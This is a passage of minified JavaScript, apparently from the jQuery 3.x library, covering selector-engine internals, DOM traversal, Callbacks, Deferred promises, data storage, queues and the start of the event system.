e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,N,e),g(f,c,O,e)):(f++,j.call(a,g(f,c,N,e),g(f,c,O,e),g(f,c,N,c.notifyWith))):(d!==N&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},U=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function V(){this.expando=r.expando+V.uid++}V.uid=1,V.prototype={cache:function(a){var b=a[this.expando];return b||(b={},U(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){Array.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(L)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var W=new V,X=new V,Y=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function $(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:Y.test(a)?JSON.parse(a):a)}function _(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Z,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=$(c)}catch(e){}X.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return X.hasData(a)||W.hasData(a)},data:function(a,b,c){return X.access(a,b,c)},removeData:function(a,b){X.remove(a,b)},_data:function(a,b,c){return W.access(a,b,c)},_removeData:function(a,b){W.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=X.get(f),1===f.nodeType&&!W.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),_(f,d,e[d])));W.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){X.set(this,a)}):T(this,function(b){var c;if(f&&void 0===b){if(c=X.get(f,a),void 0!==c)return c;if(c=_(f,a),void 0!==c)return c}else this.each(function(){X.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=W.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var aa=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ba=new RegExp("^(?:([+-])=|)("+aa+")([a-z%]*)$","i"),ca=["Top","Right","Bottom","Left"],da=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ea=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function fa(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&ba.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ga={};function ha(a){var b,c=a.ownerDocument,d=a.nodeName,e=ga[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ga[d]=e,e)}function ia(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=W.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&da(d)&&(e[f]=ha(d))):"none"!==c&&(e[f]="none",W.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ia(this,!0)},hide:function(){return ia(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){da(this)?r(this).show():r(this).hide()})}});var ja=/^(?:checkbox|radio)$/i,ka=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c<d;c++)W.set(a[c],"globalEval",!b||W.get(b[c],"globalEval"))}var pa=/<|&#?\w+;/;function qa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(pa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ka.exec(f)||["",""])[1].toLowerCase(),i=ma[h]||ma._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var 